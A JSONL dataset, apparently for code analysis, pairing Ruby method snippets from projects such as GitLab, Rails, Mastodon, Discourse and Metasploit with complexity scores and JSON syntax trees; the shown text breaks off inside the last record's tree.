{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/repository.rb","start_line":566,"raw_source":"def refs_hash\n        return @refs_hash if @refs_hash\n\n        @refs_hash = Hash.new { |h, k| h[k] = [] }\n\n        (tags + branches).each do |ref|\n          next unless ref.target && ref.name && ref.dereferenced_target&.id\n\n          @refs_hash[ref.dereferenced_target.id] << ref.name\n        end\n\n        @refs_hash\n      end","complexity_score":28.0,"ast_json":"{\"type\":\"def\",\"children\":[\"refs_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@refs_hash\"]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@refs_hash\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@refs_hash\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]},{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tags\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"branches\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"target\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"name\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"dereferenced_target\"]},\"id\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@refs_hash\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"dereferenced_target\"]},\"id\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"name\"]}]}]}]},{\"type\":\"ivar\",\"children\":[\"@refs_hash\"]}]}]}","id":"6d3889af-097d-423a-8ae1-38c9d32dca85"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/redirect_test.rb","start_line":357,"raw_source":"def test_redirect_to_url_with_path_relative_url_starting_with_an_at\n    get :redirect_to_path_relative_url_starting_with_an_at\n    assert_response :redirect\n    assert_equal \"http://test.host@example.com\", redirect_to_url\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_redirect_to_url_with_path_relative_url_starting_with_an_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"redirect_to_path_relative_url_starting_with_an_at\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"redirect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://test.host@example.com\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to_url\"]}]}]}]}","id":"2125d373-d634-43df-96db-ff2d8a103158"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/preview_card_serializer.rb","start_line":18,"raw_source":"def url\n    object.original_url.presence || object.url\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"original_url\"]},\"presence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"url\"]}]}]}","id":"913df3ae-cc79-4b48-94c7-2699fa18581e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/commands/add_user_to_group_command.rb","start_line":71,"raw_source":"def handle_success_response(response, error)\n              status_code = Nokogiri::XML(response.body.to_s).xpath(\"/ocs/meta/statuscode\").text\n\n              case status_code\n              when \"100\"\n                info \"User has been added to the group\"\n                Success()\n              when \"101\"\n                Failure(error.with(code: :no_group_specified))\n              when \"102\"\n                Failure(error.with(code: :group_does_not_exist))\n              when \"103\"\n                Failure(error.with(code: :user_does_not_exist))\n              when \"104\"\n                Failure(error.with(code: :insufficient_privileges))\n              when \"105\"\n                Failure(error.with(code: :failed_to_add))\n              else\n                Failure(error.with(code: :error))\n              end\n            end","complexity_score":33.4,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_success_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]},{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status_code\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"to_s\"]}]},\"xpath\",{\"type\":\"str\",\"children\":[\"/ocs/meta/statuscode\"]}]},\"text\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status_code\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"100\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"str\",\"children\":[\"User has been added to the group\"]}]},{\"type\":\"send\",\"children\":[null,\"Success\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"101\"]},{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"no_group_specified\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"102\"]},{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"group_does_not_exist\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"103\"]},{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"user_does_not_exist\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"104\"]},{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"insufficient_privileges\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"105\"]},{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"failed_to_add\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]}]}]}]}]}]}]}","id":"41d111ab-41fa-463d-aa72-59de324b5bb3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/foundstone_document.rb","start_line":245,"raw_source":"def report_vulns(host_object)\n      return unless in_tag(\"HostData\")\n      return unless host_object.kind_of? ::Mdm::Host\n      return unless @report_data[:vulns]\n      return if @report_data[:vulns].empty?\n      @report_data[:vulns].each do |vuln|\n        db_report(:vuln, vuln.merge(:host => host_object))\n      end\n    end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"report_vulns\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host_object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"HostData\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_object\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Mdm\"]},\"Host\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"vulns\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"vulns\"]}]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"vulns\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vuln\"]}]},{\"type\":\"send\",\"children\":[null,\"db_report\",{\"type\":\"sym\",\"children\":[\"vuln\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"host_object\"]}]}]}]}]}]}]}]}","id":"72bbc93e-eec9-4c0c-b892-e7a218051c9e"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/plugins/acts_as_journalized/lib/acts/journalized/save_hooks.rb","start_line":92,"raw_source":"def with_ensured_journal_attributes\n      self.journal_user ||= User.current\n      self.journal_notes ||= \"\"\n      self.journal_cause ||= CauseOfChange::NoCause.new\n      self.journal_internal ||= false\n\n      yield\n    ensure\n      self.journal_user = nil\n      self.journal_notes = nil\n      self.journal_cause = nil\n      self.journal_internal = nil\n    end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"with_ensured_journal_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"journal_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"journal_notes\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"journal_cause\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CauseOfChange\"]},\"NoCause\"]},\"new\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"journal_internal\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"journal_user=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"journal_notes=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"journal_cause=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"journal_internal=\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"ecd791f1-a7d6-4d5d-a839-1dc81a876a5f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/workers/move_worker.rb","start_line":105,"raw_source":"def carry_blocks_over!\n    @source_account.blocked_by_relationships.where(account: Account.local).find_each do |block|\n      unless skip_block_move?(block)\n        BlockService.new.call(block.account, @target_account)\n        add_account_note_if_needed!(block.account, 'move_handler.carry_blocks_over_text')\n      end\n    rescue => e\n      @deferred_error = e\n    end\n  end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"carry_blocks_over!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source_account\"]},\"blocked_by_relationships\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"local\"]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"block\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_block_move?\",{\"type\":\"lvar\",\"children\":[\"block\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BlockService\"]},\"new\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"account\"]},{\"type\":\"ivar\",\"children\":[\"@target_account\"]}]},{\"type\":\"send\",\"children\":[null,\"add_account_note_if_needed!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"account\"]},{\"type\":\"str\",\"children\":[\"move_handler.carry_blocks_over_text\"]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"ivasgn\",\"children\":[\"@deferred_error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]}]}]}","id":"05ae1a8d-bfab-4845-b8d6-386c44abd286"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/web/helpers.rb","start_line":430,"raw_source":"def delete_or_add_queue(job, params)\n      if params[\"delete\"]\n        job.delete\n      elsif params[\"add_to_queue\"]\n        job.add_to_queue\n      end\n    end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_or_add_queue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"delete\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"delete\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"add_to_queue\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"add_to_queue\"]},null]}]}]}","id":"2b9e377c-653f-4b0c-819f-1526e6e8b776"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/ipboard.rb","start_line":271,"raw_source":"def import_image_categories\n    puts \"\", \"importing image categories...\"\n\n    categories =\n      mysql_query(\n        \"\n                  SELECT category_id id,\n                         category_name_seo name,\n\t                 category_parent_id as parent_id\n                  FROM #{TABLE_PREFIX}gallery_categories\n                  ORDER BY id ASC\n                            \",\n      ).to_a\n\n    category_names =\n      mysql_query(\n        \"\n                  SELECT DISTINCT word_key, word_default title\n                  FROM #{TABLE_PREFIX}core_sys_lang_words where word_app='gallery'\n                  AND word_key REGEXP 'gallery_category_[0-9]+$'\n                  ORDER BY word_key ASC\n                            \",\n      ).to_a\n\n    cat_map = {}\n    puts \"Creating gallery_cat_map\"\n    category_names.each do |name|\n      title = name[\"title\"]\n      word_key = name[\"word_key\"]\n      puts \"Processing #{word_key}: #{title}\"\n      id = word_key.gsub(\"gallery_category_\", \"\")\n      next if cat_map[id]\n      cat_map[id] = cat_map.has_value?(title) ? title + \" \" + id : title\n      puts \"#{id} => #{cat_map[id]}\"\n    end\n\n    params = { id: GALLERY_CAT_ID, name: GALLERY_CAT_NAME }\n    create_category(params, params[:id])\n\n    create_categories(categories) do |category|\n      id = (category[\"id\"]).to_s\n      name = CGI.unescapeHTML(cat_map[id])\n      {\n        id: id + \"gal\",\n        name: name,\n        parent_category_id: @lookup.category_id_from_imported_category_id(GALLERY_CAT_ID),\n        color: random_category_color,\n      }\n    end\n  end","complexity_score":47.6,"ast_json":"{\"type\":\"def\",\"children\":[\"import_image_categories\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"importing image categories...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"categories\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"                  SELECT category_id id,\\n\"]},{\"type\":\"str\",\"children\":[\"                         category_name_seo name,\\n\"]},{\"type\":\"str\",\"children\":[\"\\t                 category_parent_id as parent_id\\n\"]},{\"type\":\"str\",\"children\":[\"                  FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"gallery_categories\\n\"]},{\"type\":\"str\",\"children\":[\"                  ORDER BY id ASC\\n\"]},{\"type\":\"str\",\"children\":[\"                            \"]}]}]},\"to_a\"]}]},{\"type\":\"lvasgn\",\"children\":[\"category_names\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"                  SELECT DISTINCT word_key, word_default title\\n\"]},{\"type\":\"str\",\"children\":[\"                  FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"core_sys_lang_words where word_app='gallery'\\n\"]},{\"type\":\"str\",\"children\":[\"                  AND word_key REGEXP 'gallery_category_[0-9]+$'\\n\"]},{\"type\":\"str\",\"children\":[\"                  ORDER BY word_key ASC\\n\"]},{\"type\":\"str\",\"children\":[\"                            \"]}]}]},\"to_a\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cat_map\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Creating gallery_cat_map\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_names\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"word_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"[]\",{\"type\":\"str\",\"children\":[\"word_key\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Processing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word_key\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word_key\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"gallery_category_\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cat_map\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cat_map\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cat_map\"]},\"has_value?\",{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},\"+\",{\"type\":\"str\",\"children\":[\" \"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"lvar\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\" => \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cat_map\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"const\",\"children\":[null,\"GALLERY_CAT_ID\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"GALLERY_CAT_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_category\",{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_categories\",{\"type\":\"lvar\",\"children\":[\"categories\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"unescapeHTML\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cat_map\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"+\",{\"type\":\"str\",\"children\":[\"gal\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_category_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lookup\"]},\"category_id_from_imported_category_id\",{\"type\":\"const\",\"children\":[null,\"GALLERY_CAT_ID\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color\"]},{\"type\":\"send\",\"children\":[null,\"random_category_color\"]}]}]}]}]}]}]}","id":"a180c31e-a371-477c-a83c-ef98c5273b5c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250919143753_create_ai_events_counts.rb","start_line":7,"raw_source":"def change\n    opts = {\n      primary_key: [:id, :events_date],\n      options: 'PARTITION BY RANGE (events_date)',\n      if_not_exists: true\n    }\n\n    create_table :ai_events_counts, **opts do |t|\n      t.bigserial :id, null: false\n      t.date :events_date, null: false\n      t.bigint :namespace_id\n      t.belongs_to :user, null: false\n      t.references :organization, foreign_key: { on_delete: :cascade }, null: false\n      t.integer :event, limit: 2, null: false\n      t.integer :total_occurrences, null: false, default: 0\n    end\n\n    add_index :ai_events_counts, [:events_date, :namespace_id, :event, :user_id],\n      unique: true,\n      include: [:total_occurrences],\n      nulls_not_distinct: true,\n      name: 'idx_ai_events_counts_unique_tuple'\n  end","complexity_score":12.75,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary_key\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"events_date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"str\",\"children\":[\"PARTITION BY RANGE (events_date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"ai_events_counts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigserial\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"date\",{\"type\":\"sym\",\"children\":[\"events_date\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"belongs_to\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"organization\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"event\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\"